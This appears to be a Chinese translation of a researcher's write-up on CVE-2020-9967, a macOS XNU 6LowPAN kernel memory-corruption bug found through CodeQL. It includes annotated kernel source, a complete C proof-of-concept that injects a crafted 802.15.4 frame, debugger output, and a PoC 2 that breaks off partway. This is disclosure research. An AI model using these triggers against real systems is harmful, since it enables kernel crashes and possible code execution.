详细分析Apple macOS 6LowPAN 漏洞(CVE-2020-9967)

 聚焦源代码安全,网罗国内外最新资讯!

  

安全研究员 Alex Plaskett 在2020年5月向苹果报告了影响MacOS Big Sur 的一个漏洞 (CVE-2020-9967)。苹果公司在12月5日宣布该漏洞已在各平台公开后,Plaskett 于昨天发布了该漏洞的详细分析文章,如下:

受到 Kevin Backhouse 发现 XNU 远程漏洞的鼓舞,我决定花点时间查看下 CodeQL 并展开一些变体分析。结果从 macOS 10.15.4 的 6LowPAN 代码中发现了从本地 root 提权至内核权限的一个漏洞(不过苹果记录为远程漏洞)。

漏洞发现

在 XNU 中,入站和出站网络数据包存储在一个内存管理单元 (mbuf) 中。该数据由 macOS 操作系统的网络栈代码读取或写入mbuf。

我原先的想法是,我可以定义一个简单的污点跟踪 (taint tracking) 查询,找到不受信任的网络数据来源(来源),这些来源最终将污染内存复制操作的大小参数(sink)。最初,我修改了查询,查找源 m_mtod 和 sink 即 biltin_memcpy_chk,但徒劳无功。然而,在 XNU 内部,bcopy 的使用非常多见,因此最终成为:builtin_memmove_chk,如是查询修改如下:

import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysisclass Config extends TaintTracking::Configuration {Config() { this = "sixlowpan_flow" }override predicate isSource(DataFlow::Node source) {source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"}override predicate isSink(DataFlow::Node sink) {exists (FunctionCall call| call.getArgument(2) = sink.asExpr() andcall.getTarget().getName() = "__builtin___memmove_chk" )}
}from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "memmove with tainted size."

运行这个查询后,我得到了大概15个结果,本文所述漏洞为其一。

查看结果时,我发现该流值得手动调查一番:

1  call to m_mtod   if_6lowpan.c:623:2
2  len   if_6lowpan.c:663:41
3  ref arg & ... [payload_len]   if_6lowpan.c:663:46
4  & ... [payload_len]   if_6lowpan.c:666:19
5  ieee02154hdr [payload_len]   sixxlowpan.c:882:38
6  ieee02154hdr [payload_len]   sixxlowpan.c:886:32
7  ieee02154hdr [payload_len]   sixxlowpan.c:819:43
8  ieee02154hdr [payload_len]   sixxlowpan.c:855:7
9  payload_len   sixxlowpan.c:855:21
10  ... - ...   sixxlowpan.c:855:7

这证明了通过代码库的定制化 CodeQL 查询找到常见漏洞模式的强大之处。在详述漏洞之前,我们先来了解下 6LowPAN 的背景知识。

6LowPAN

苹果公司在 macOS Catalina 10.15 中,默默地在 XNU 内核中推出对 6LowPAN 和 IEEE 802 的支持。任何引入 XNU 搜查调查中的重大变化都可能是产生新漏洞的来源。6LowPAN 的全称是 “低功耗无线个人区域网的 IPv6 (IPv6 over Low-Power Wireless Personal Area Networks)”。如名称所示,它是一种网络技术,可允许在小型链接层帧如 IEEE 802.15.4 中有效执行IPv6 数据包。

该协议的相关 RFC 是 RFC4944、RFC6282 和 RFC6775。

IEEE 802.15.4 是一种定义低速率无线个人区域网 (LR-WPAN) 操作并指定 LR-WPAN 的物理层和媒体访问层。6LowPAN 通过提供未在 802.15.4 中定义的上层来扩展该标准。流行的 IoT 协议 Thread 使用了 6LowPAN,而苹果公司于2018年偶然加入 Thread 工作组中……

在 XNU 内核来源的上下文中, frame802154.c 中包含对 802.15.4 帧和解析的实现。if_6lowpan.c 包含和 6LowPAN 网络接口以及 6LowPAN 压缩和解压缩 sixlowpan.c 相关的代码。其中大部分源自苹果公司修改过的 Contiki OS 和封装代码。

目前上述内容并未有公开记录,而唯一公开提到的是关于 Thread HomePod mini 的内容。

IEEE 802.15.4 帧的结构

Layer 2(栈中的 MAC 层)的定义见 “通用 MAC 帧格式“ 第7.2节的 IEEE Std 802.15.4-2015 内容:
   

该帧的控制字段如下:

IPv6 数据包必须携带于数据帧上。当我们在后续讨论 XNU 代码库中的解析时,这些详情很重要。解析帧判断标头后,payload 部分就会得到处理。

LoWPAN Payload

由于完整的 IPv6 数据包不适合IEEE 802.15.4 帧,因此必须提供适配层以符合 IPv6 的最低 MTU 要求。该标准还定义了标头压缩的使用,因为它预计多数应用程序会使用基于 IEEE 802.15.4 的 IP。这样,LoWPAN payload(如 IPv6 数据包)遵循如上所述的封装标头。值得注意的是,IPv6 标头的长度也为40个八位位组。

初始标准定义了LOWPAN_HC1 压缩的 IPv6 数据包。这意味着 6LowPAN payload 在被收到时会被压缩。这一点对于理解漏洞也很重要。

数据链路层调度

问题在于,我们如何获取苹果设备的 6LowPAN 帧以及它们会被自动处理吗?深挖代码可了解到调度这类帧的数据链路层。

刚开始,我们可以发送将由解复用函数处理的以太网数据包:

int
ether_demux(ifnet_t ifp, mbuf_t m, char *frame_header,protocol_family_t *protocol_family)
{struct ether_header *eh = (struct ether_header *)(void *)frame_header;u_short  ether_type = eh->ether_type;u_int16_t type;u_int8_t *data;u_int32_t i = 0;struct ether_desc_blk_str *desc_blk =(struct ether_desc_blk_str *)ifp->if_family_cookie;u_int32_t maxd = desc_blk ? desc_blk->n_max_used : 0;struct en_desc  *ed = desc_blk ? desc_blk->block_ptr : NULL;u_int32_t extProto1 = 0;u_int32_t extProto2 = 0;if (eh->ether_dhost[0] & 1) {/* Check for broadcast */if (_ether_cmp(etherbroadcastaddr, eh->ether_dhost) == 0) {m->m_flags |= M_BCAST;} else {m->m_flags |= M_MCAST;}}if (m->m_flags & M_HASFCS) {/** If the M_HASFCS is set by the driver we want to make sure* that we strip off the trailing FCS data before handing it* up the stack.*/m_adj(m, -ETHER_CRC_LEN);m->m_flags &= ~M_HASFCS;}if ((eh->ether_dhost[0] & 1) == 0) {/** When the driver is put into promiscuous mode we may receive* unicast frames that are not intended for our interfaces.* They are marked here as being promiscuous so the caller may* dispose of them after passing the packets to any interface* filters.*/if (_ether_cmp(eh->ether_dhost, IF_LLADDR(ifp))) {m->m_flags |= M_PROMISC;}}/* check for IEEE 802.15.4 */if (ether_type == htons(ETHERTYPE_IEEE802154)) {*protocol_family = PF_802154;return 0;}

如果以太网标头内的 ether_type 是 ETHERTYPE_IEEE802154,则我们将 protocol_family 设置为 PF_802154。

目前,在默认配置中,除非配置了 6lowpan 接口,否则该 protocol_family 将无法被处理, 从而导致以下代码注册了一个函数 sixlowpan_input,而当处理 802.15.4 帧时,就会调用该函数。

/** Function: sixlowpan_attach_protocol* Purpose:*   Attach a DLIL protocol to the interface*   The ethernet demux actually special cases 802.15.4.*   The demux here isn't used. The demux will return PF_802154 for the*   appropriate packets and our sixlowpan_input function will be called.*/
static int
sixlowpan_attach_protocol(struct ifnet *ifp)
{int     error;struct ifnet_attach_proto_param reg;bzero(&reg, sizeof(reg));reg.input            = sixlowpan_input;reg.detached         = sixlowpan_detached;error = ifnet_attach_protocol(ifp, PF_802154, &reg);if (error) {printf("%s(%s%d) ifnet_attach_protocol failed, %d\n",__func__, ifnet_name(ifp), ifnet_unit(ifp), error);}return error;
}

漏洞详情

有了背景信息后,我将说明所发现的漏洞。调用函数 sixlowpan_input,将 802.15.4数据帧解封如下:

/** 6lowpan input routine.* Decapsulate the 802.15.4 Data Frame* Header decompression on the payload* Pass the mbuf to the IPV6 protocol stack using proto_input()*/
static int
sixlowpan_input(ifnet_t p, __unused protocol_family_t protocol,mbuf_t m, __unused char *frame_header)
{frame802154_t      ieee02154hdr;u_int8_t           *payload = NULL;if6lpan_ref        ifl = NULL;bpf_packet_func    bpf_func;mbuf_t mc, m_temp;int off, err = 0;u_int16_t len;/* Allocate an mbuf cluster for the 802.15.4 frame and uncompressed payload */mc = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);if (mc == NULL) {err = -1;goto err_out;}memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t));len = ntohs(len);               // This is the size read from the frame on the wire. m_adj(m, sizeof(u_int16_t));/* Copy the compressed 802.15.4 payload from source mbuf to allocated cluster mbuf */for (m_temp = m, off = 0; m_temp != NULL; m_temp = m_temp->m_next) {if (m_temp->m_len > 0) {m_copyback(mc, off, m_temp->m_len, mtod(m_temp, void *));off += m_temp->m_len;}}p = p_6lowpan_ifnet;mc->m_pkthdr.rcvif = p;sixlowpan_lock();ifl = ifnet_get_if6lpan_retained(p);if (ifl == NULL) {sixlowpan_unlock();err = -1;goto err_out;}if (if6lpan_flags_ready(ifl) == 0) {if6lpan_release(ifl);sixlowpan_unlock();err = -1;goto err_out;}bpf_func = ifl->if6lpan_bpf_input;sixlowpan_unlock();if6lpan_release(ifl);if (bpf_func) {bpf_func(p, mc);}/* Parse the 802.15.4 frame header */bzero(&ieee02154hdr, sizeof(ieee02154hdr));frame802154_parse(mtod(mc, uint8_t *), len, &ieee02154hdr, &payload);/* XXX Add check for your link layer address being dest */sixxlowpan_input(&ieee02154hdr, payload);

首先,m_getcl 为导入的 802.15.4 帧和未压缩的 payload 分配一个群集 mbuf。群集 mbuf 是指按照 MCLBYTES 单位计算的2048个字节。超过该大小的数据将被复制到链接到一起的多个 mbuf 中。

可以看到,len 是从导入的 mbuf m 中读取的,且完全受攻击者控制。之后,通过 m_adj 从mbuf 链的开头减去2个字节。被压缩的 802.15.4 payload 随后和受攻击者控制的 len 值一起被传递至 frame802154_parse。

不过这也存在一些明显的问题,比如,假如 mbuf 中的数据小于 mc 中帧的长度会怎么样?

/*----------------------------------------------------------------------------*/
/***   \brief Parses an input frame.  Scans the input frame to find each*   p, and stores the information of each p in a*   frame802154_t structure.**   \param data The input data from the radio chip.*   \param len The size of the input data*   \param pf The frame802154_t struct to store the parsed frame information.*/
int
frame802154_parse(uint8_t *data, int len, frame802154_t *pf, uint8_t **payload)
{uint8_t *p;frame802154_fcf_t fcf;int c;
#if LLSEC802154_USES_EXPLICIT_KEYSuint8_t key_id_mode;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */if (len < 3) {return 0;}p = data;/* decode the FCF */fcf.frame_type = p[0] & 7;fcf.security_enabled = (p[0] >> 3) & 1;fcf.frame_pending = (p[0] >> 4) & 1;fcf.ack_required = (p[0] >> 5) & 1;fcf.panid_compression = (p[0] >> 6) & 1;fcf.dest_addr_mode = (p[1] >> 2) & 3;fcf.frame_version = (p[1] >> 4) & 3;fcf.src_addr_mode = (p[1] >> 6) & 3;/* copy fcf and seqNum */memcpy(&pf->fcf, &fcf, sizeof(frame802154_fcf_t));pf->seq = p[2];p += 3;                             /* Skip first three bytes *//* Destination address, if any */if (fcf.dest_addr_mode) {/* Destination PAN */pf->dest_pid = p[0] + (p[1] << 8);p += 2;/* Destination address *//*     l = addr_len(fcf.dest_addr_mode); *//*     for(c = 0; c < l; c++) { *//*       pf->dest_addr.u8[c] = p[l - c - 1]; *//*     } *//*     p += l; */if (fcf.dest_addr_mode == FRAME802154_SHORTADDRMODE) {linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);pf->dest_addr[0] = p[1];pf->dest_addr[1] = p[0];p += 2;} else if (fcf.dest_addr_mode == FRAME802154_LONGADDRMODE) {for (c = 0; c < 8; c++) {pf->dest_addr[c] = p[7 - c];}p += 8;}} else {linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);pf->dest_pid = 0;}/* Source address, if any */if (fcf.src_addr_mode) {/* Source PAN */if (!fcf.panid_compression) {pf->src_pid = p[0] + (p[1] << 8);p += 2;} else {pf->src_pid = pf->dest_pid;}/* Source address *//*     l = addr_len(fcf.src_addr_mode); *//*     for(c = 0; c < l; c++) { *//*       pf->src_addr.u8[c] = p[l - c - 1]; *//*     } *//*     p += l; */if (fcf.src_addr_mode == FRAME802154_SHORTADDRMODE) {linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);pf->src_addr[0] = p[1];pf->src_addr[1] = p[0];p += 2;} else if (fcf.src_addr_mode == FRAME802154_LONGADDRMODE) {for (c = 0; c < 8; c++) {pf->src_addr[c] = p[7 - c];}p += 8;}} else {linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);pf->src_pid = 0;}#if LLSEC802154_SECURITY_LEVELif (fcf.security_enabled) {pf->aux_hdr.security_control.security_level = p[0] & 7;
#if LLSEC802154_USES_EXPLICIT_KEYSpf->aux_hdr.security_control.key_id_mode = (p[0] >> 3) & 3;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */p += 1;memcpy(pf->aux_hdr.frame_counter.u8, p, 4);p += 4;#if LLSEC802154_USES_EXPLICIT_KEYSkey_id_mode = pf->aux_hdr.security_control.key_id_mode;if (key_id_mode) {c = (key_id_mode - 1) * 4;memcpy(pf->aux_hdr.key_source.u8, p, c);p += c;pf->aux_hdr.key_index = p[0];p += 1;}
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */}
#endif /* LLSEC802154_SECURITY_LEVEL *//* header length */c = p - data;/* payload length */pf->payload_len = (len - c);/* payload */*payload = p;/* return header length if successful */return c > len ? 0 : c;
}/** \brief Parameters used by the frame802154_create() function.  These*  parameters are used in the 802.15.4 frame header.  See the 802.15.4*  specification for details.*/
struct frame802154 {/* The fields dest_addr and src_addr must come first to ensure they are aligned to the* CPU word size. Needed as they are accessed directly as linkaddr_t*. Note we cannot use* the type linkaddr_t directly here, as we always need 8 bytes, not LINKADDR_SIZE bytes. */uint8_t dest_addr[8];           /**< Destination address */uint8_t src_addr[8];            /**< Source address */frame802154_fcf_t fcf;          /**< Frame control field  */uint8_t seq;                    /**< Sequence number */uint16_t dest_pid;              /**< Destination PAN ID */uint16_t src_pid;               /**< Source PAN ID */frame802154_aux_hdr_t aux_hdr;  /**< Aux security header *///uint8_t *payload;               /**< Pointer to 802.15.4 payload */int payload_len;                /**< Length of payload field */
};
typedef struct frame802154 frame802154_t;

关于该函数和调用者,如下是一些相关情况:

  • 如 len <3,则函数将返回0,且不会初始化payload 指针(即将成为 NULL 指针)。

  • Frame802154_parse 的返回值并未被检查,因此可能会造成标头长度>payload 的情况出现。

  • 由于我们能够控制将 len 的值控制在 0 到0xffff 之间,因此我们或者可以使 pf->payload_len 为负数(至 –header_len),小于预期的大小或者大于 mc 中输入数据本身的大小。

那么在这种场景下会发生什么情况?

errno_t
sixxlowpan_input(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{errno_t error = 0;error = sixxlowpan_uncompress(ieee02154hdr, payload);if (error != 0) {goto done;}/** TO DO: fragmentation*/done:return error;
}

该 payload 之后被解压缩:

errno_t
sixxlowpan_uncompress(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{long hdroffset;size_t hdrlen;u_int8_t hdrbuf[128];errno_t error;bzero(hdrbuf, sizeof(hdrbuf));hdrlen = sizeof(hdrbuf);error = uncompress_hdr_hc1(ieee02154hdr, (u_int8_t *)payload,0, &hdroffset, &hdrlen, hdrbuf);if (error != 0) {return error;}if (hdroffset < 0) {/** hdroffset negative means that we have to remove* hdrlen of extra stuff*/memmove(&payload[0],&payload[hdrlen],ieee02154hdr->payload_len - hdrlen);ieee02154hdr->payload_len -= hdrlen;} else {/** hdroffset is the size of the compressed header* -- i.e. when the untouched data starts** hdrlen is the size of the decompressed header* that takes the place of compressed header of size hdroffset*/memmove(payload + hdrlen,payload + hdroffset,ieee02154hdr->payload_len - hdroffset);memcpy(payload, hdrbuf, hdrlen);ieee02154hdr->payload_len += hdrlen - hdroffset;}return 0;
}

查看解压缩函数:

/*--------------------------------------------------------------------*/
/*** \brief Uncompress HC1 (and HC_UDP) headers and put them in* sicslowpan_buf** This function is called by the input function when the dispatch is* HC1.* We %process the packet in the packetbuf buffer, uncompress the header* fields, and copy the result in the sicslowpan buffer.* At the end of the decompression, packetbuf_hdr_len and uncompressed_hdr_len* are set to the appropriate values** \param ip_len Equal to 0 if the packet is not a fragment (IP length* is then inferred from the L2 length), non 0 if the packet is a 1st* fragment.*/
errno_t
uncompress_hdr_hc1(struct frame802154 *frame, u_int8_t *payload,uint16_t ip_len, long *hdroffset, size_t *hdrlen, u_int8_t *hdrbuf)
{struct ip6_hdr *ip6 = (struct ip6_hdr *)hdrbuf;if (payload[PACKETBUF_HC1_DISPATCH] == SICSLOWPAN_DISPATCH_IPV6) {*hdroffset = -SICSLOWPAN_IPV6_HDR_LEN;*hdrlen = SICSLOWPAN_IPV6_HDR_LEN;return 0;}*hdroffset = 0;/* version, traffic class, flow label */ip6->ip6_flow = 0;ip6->ip6_vfc = IPV6_VERSION;/* src and dest ip addresses */uip_ip6addr_u8(&ip6->ip6_src, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);uip_ds6_set_addr_iid(&ip6->ip6_src,(uip_lladdr_t *)frame->src_addr);uip_ip6addr_u8(&ip6->ip6_dst, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);uip_ds6_set_addr_iid(&ip6->ip6_dst,(uip_lladdr_t *)frame->dest_addr);*hdrlen = UIP_IPH_LEN;/* Next header field */switch (payload[PACKETBUF_HC1_ENCODING] & 0x06) {case SICSLOWPAN_HC1_NH_ICMP6:ip6->ip6_nxt = IPPROTO_ICMPV6;ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];*hdroffset = SICSLOWPAN_HC1_HDR_LEN;break;case SICSLOWPAN_HC1_NH_TCP:ip6->ip6_nxt = IPPROTO_TCP;ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];*hdroffset = SICSLOWPAN_HC1_HDR_LEN;break;case SICSLOWPAN_HC1_NH_UDP:ip6->ip6_nxt = IPPROTO_UDP;if (payload[PACKETBUF_HC1_HC_UDP_HC1_ENCODING] & 0x01) {struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;/* UDP header is compressed with HC_UDP */if (payload[PACKETBUF_HC1_HC_UDP_UDP_ENCODING] !=SICSLOWPAN_HC_UDP_ALL_C) {printf("sicslowpan (uncompress_hdr), packet not supported");return EINVAL;}/* IP TTL */ip6->ip6_hlim = payload[PACKETBUF_HC1_HC_UDP_TTL];/* UDP ports, len, checksum */udp->uh_sport =htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] >> 4));udp->uh_dport =htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] & 0x0F));memcpy(&udp->uh_sum, &payload[PACKETBUF_HC1_HC_UDP_CHKSUM], 2);*hdrlen += UIP_UDPH_LEN;*hdroffset = SICSLOWPAN_HC1_HC_UDP_HDR_LEN;} else {ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];*hdroffset = SICSLOWPAN_HC1_HDR_LEN;}break;default:/* this shouldn't happen, drop */return EINVAL;}/* IP length field. */if (ip_len == 0) {size_t len = frame->payload_len - *hdroffset + *hdrlen - sizeof(struct ip6_hdr);/* This is not a fragmented packet */SET16(&ip6->ip6_plen, len);} else {/* This is a 1st fragment */SET16(&ip6->ip6_plen, ip_len - UIP_IPH_LEN);}/* length field in UDP header */if (ip6->ip6_nxt == IPPROTO_UDP) {struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;memcpy(&udp->uh_ulen, &ip6->ip6_plen, 2);}return 0;
}

我们通过该函数可观察到如下情况:

1、  它的预期是 mbuf 中总会至少出现40个字节的 IPv6 标头 *hdrlen。

2、  它并未期望 payload 的大小小于标头。

3、  ip_len 总为0。

如果我们忽略了所有可能的界外读取,则可以将该问题用于如下的界外写入中:

  • len 中的下溢可导致一个庞大的值传递到 memmove(wild write)

因此,如果我们将所接受的帧的长度设置为 0x4,则会导致在 frame802154_parse 中计算如下值:

c 标头长度 = 3 frame->payload_len =1

之后,我们可以看到,通过设置 SICSLOWPAN_HC1_NH_UDP,我们会在 uncompress_hdr_hcl 中发现如下值:

*hdroffset = SICSLOWPAN_HC1_HDR_LEN; 即 *hdroffset = 3*hdrlen = UIP_IPH_LEN; 即 *hdrlen = 40sizeof(struct ip6_hdr) = 40

因此,当我们返回 sixxlowpan_uncompress 函数时:

  /** hdroffset is the size of the compressed header* -- i.e. when the untouched data starts** hdrlen is the size of the decompressed header* that takes the place of compressed header of size hdroffset*/memmove(payload + hdrlen,payload + hdroffset,ieee02154hdr->payload_len - hdroffset);memcpy(payload, hdrbuf, hdrlen);

在 payload +40 处写入数据(在群集 mc mbuf 中,数据由源 payload 缓冲区中的攻击者控制,长度为 ieee02154hdr->payload_len - 3 = -2。

PoC 1 —— 下溢

在 PoC 1 代码中,我们引发 1-3=-2以触发一个写入,使问题更加容易显现。

/***Apple XNU 6LowPAN POC
Catalina 10.15.4POC 1: Wild memmove trigger with an underflow. Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0***/#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>// Set these to source and target 
unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};struct frame_t {struct ether_header header;unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];ssize_t len;ssize_t payload_len;
};// Open bpf device
int open_bpf_device()
{char buf[11] = {};int bpf = 0;for(int i = 0; i < 99; i++){sprintf(buf,"/dev/bpf%i",i);bpf = open(buf,O_RDWR);if( bpf != -1 ) {printf("Opened device /dev/bpf%i\n", i);break; }}if(bpf == -1) {printf("Cannot open any /dev/bpf* device, exiting\n");exit(1); }return bpf; 
}// Associate device
void assoc_dev(int bpf, char* interface)
{struct ifreq bound_if;strcpy(bound_if.ifr_name, interface);if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {printf("Cannot bind bpf device to physical device %s, exiting\n", interface);exit(1);}printf("Bound bpf device to physical device %s\n", interface);
}// Write trigger frame
void write_single_frame(int bpf) 
{ssize_t data_length = 32;struct frame_t frame;memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);//  802.15.4 frame type. frame.header.ether_type = 0x908;frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);frame.payload[0] = 0;frame.payload[1] = 4;// This is the start of the "data" passed to frame802154_parse and considered frame header // m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)// These are used for the FCF (no flags set)frame.payload[2] = 0;frame.payload[3] = 0;frame.payload[4] = 0;// As none FCF are set p+=3 bytes. // header length// c = p - data;// c = 3// payload length// pf->payload_len = (4 - 3);// pf->payload_len = 1// This is the start of our payload passed to sixxlowpan_uncompressframe.payload[5] = 0;frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP// Just pad the frame with 'A'. for (int j = 7; j < 32; j++) {frame.payload[j] = 0x41;} ssize_t bytes_sent;bytes_sent = write(bpf, &frame, frame.len);if(bytes_sent > 0) {printf("Bytes sent: %ld\n", bytes_sent);} else {perror("Error sending frame");exit(1);}
}int main(int argc, char *argv[])
{char* interface = "en0";int bpf;bpf = open_bpf_device();assoc_dev(bpf, interface);write_single_frame(bpf);return 0; 
}  

我们可以通过如下的调试输出进行证实:

(lldb) disas
kernel`sixxlowpan_uncompress:0xffffff8003ffa0b0 <+0>:   push   rbp0xffffff8003ffa0b1 <+1>:   mov    rbp, rsp0xffffff8003ffa0b4 <+4>:   push   r150xffffff8003ffa0b6 <+6>:   push   r140xffffff8003ffa0b8 <+8>:   push   r130xffffff8003ffa0ba <+10>:  push   r120xffffff8003ffa0bc <+12>:  push   rbx0xffffff8003ffa0bd <+13>:  sub    rsp, 0x980xffffff8003ffa0c4 <+20>:  mov    r15, rsi0xffffff8003ffa0c7 <+23>:  mov    r14, rdi0xffffff8003ffa0ca <+26>:  lea    rax, [rip + 0x4a1f9f]     ; __stack_chk_guard0xffffff8003ffa0d1 <+33>:  mov    rax, qword ptr [rax]0xffffff8003ffa0d4 <+36>:  mov    qword ptr [rbp - 0x30], rax0xffffff8003ffa0d8 <+40>:  int3   0xffffff8003ffa0d9 <+41>:  mov    dword ptr [rbp - 0xc0], 0x00xffffff8003ffa0e3 <+51>:  mov    qword ptr [rbp - 0x38], 0x00xffffff8003ffa0eb <+59>:  mov    qword ptr [rbp - 0x40], 0x00xffffff8003ffa0f3 <+67>:  mov    qword ptr [rbp - 0x48], 0x00xffffff8003ffa0fb <+75>:  mov    qword ptr [rbp - 0x50], 0x00xffffff8003ffa103 <+83>:  mov    qword ptr [rbp - 0x58], 0x00xffffff8003ffa10b <+91>:  mov    qword ptr [rbp - 0x60], 0x00xffffff8003ffa113 <+99>:  mov    qword ptr [rbp - 0x68], 0x00xffffff8003ffa11b <+107>: mov    qword ptr [rbp - 0x70], 0x00xffffff8003ffa123 <+115>: mov    qword ptr [rbp - 0x78], 0x00xffffff8003ffa12b <+123>: mov    qword ptr [rbp - 0x80], 0x00xffffff8003ffa133 <+131>: mov    qword ptr [rbp - 0x88], 0x00xffffff8003ffa13e <+142>: mov    qword ptr [rbp - 0x90], 0x00xffffff8003ffa149 <+153>: mov    qword ptr [rbp - 0x98], 0x00xffffff8003ffa154 <+164>: mov    qword ptr [rbp - 0xa0], 0x00xffffff8003ffa15f <+175>: mov    qword ptr [rbp - 0xa8], 0x00xffffff8003ffa16a <+186>: mov    qword ptr [rbp - 0xb0], 0x00xffffff8003ffa175 <+197>: lea    rbx, [rbp - 0xb0]0xffffff8003ffa17c <+204>: mov    esi, 0x800xffffff8003ffa181 <+209>: mov    rdi, rbx0xffffff8003ffa184 <+212>: call   0xffffff80039980f0        ; bzero0xffffff8003ffa189 <+217>: mov    qword ptr [rbp - 0xb8], 0x800xffffff8003ffa194 <+228>: lea    rcx, [rbp - 0xc0]0xffffff8003ffa19b <+235>: lea    r8, [rbp - 0xb8]0xffffff8003ffa1a2 <+242>: mov    rdi, r140xffffff8003ffa1a5 <+245>: mov    rsi, r150xffffff8003ffa1a8 <+248>: xor    edx, edx0xffffff8003ffa1aa <+250>: mov    r9, rbx0xffffff8003ffa1ad <+253>: call   0xffffff8003ff9d70        ; uncompress_hdr_hc1 at sixxlowpan.c:6790xffffff8003ffa1b2 <+258>: mov    ebx, eax0xffffff8003ffa1b4 <+260>: test   eax, eax0xffffff8003ffa1b6 <+262>: jne    0xffffff8003ffa210        ; <+352> at sixxlowpan.c0xffffff8003ffa1b8 <+264>: mov    r13, qword ptr [rbp - 0xc0]0xffffff8003ffa1bf <+271>: mov    r12, qword ptr [rbp - 0xb8]0xffffff8003ffa1c6 <+278>: lea    rsi, [r15 + r12]0xffffff8003ffa1ca <+282>: test   r13, r13                  0xffffff8003ffa1cd <+285>: js     0xffffff8003ffa1fa        ; <+330> at sixxlowpan.c:841:30xffffff8003ffa1cf <+287>: lea    rdi, [r15 + r13]0xffffff8003ffa1d3 <+291>: movsxd rdx, dword ptr [r14 + 0x34]0xffffff8003ffa1d7 <+295>: int3   0xffffff8003ffa1d8 <+296>: sub    edx, ebp
->  0xffffff8003ffa1da <+298>: call   0xffffff8003998070        ; bcopy(lldb) register read 
General Purpose Registers:rax = 0x0000000000000000rbx = 0x0000000000000000rcx = 0xffffff80669e3d28rdx = 0xffffffffffffffferdi = 0xffffff80602e1806rsi = 0xffffff80602e182brbp = 0xffffff80669e3cf0rsp = 0xffffff80669e3c30r8 = 0xffffff80669e3c38r9 = 0xffffff80669e3c40r10 = 0x0000000000000000r11 = 0x0000000000000003r12 = 0x0000000000000028r13 = 0x0000000000000003r14 = 0xffffff80669e3d28r15 = 0xffffff80602e1803rip = 0xffffff8003ffa1da  kernel`sixxlowpan_uncompress + 298 [inlined] memmove at subrs.c:703kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853rflags = 0x0000000000000393cs = 0x0000000000000008fs = 0x00000000ffff0000gs = 0x00000000669e0000

PoC 2 —— 上溢

然而,我们可以通过庞大的 payload 大小来触发更加受控制的内存损害,从而可能造成代码执行。

例如,使用如下参数:

len = 0xffffpf->payload_len = (0xffff - 3); = 65532 pf->payload_len = 0xfffc

会导致 memmove 在payload + 40 处执行写入,数据源于攻击者,大小为 0xfffc-40 = (0xfff9) 65529。

PoC 2 演示如下:

/***Apple XNU 6LowPAN POC
Catalina 10.15.4POC 2: Write 0xffd4 bytes - overflowRun this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0***/#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>// Set these to source and target 
unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};struct frame_t {struct ether_header header;unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];ssize_t len;ssize_t payload_len;
};// Open bpf device
int open_bpf_device()
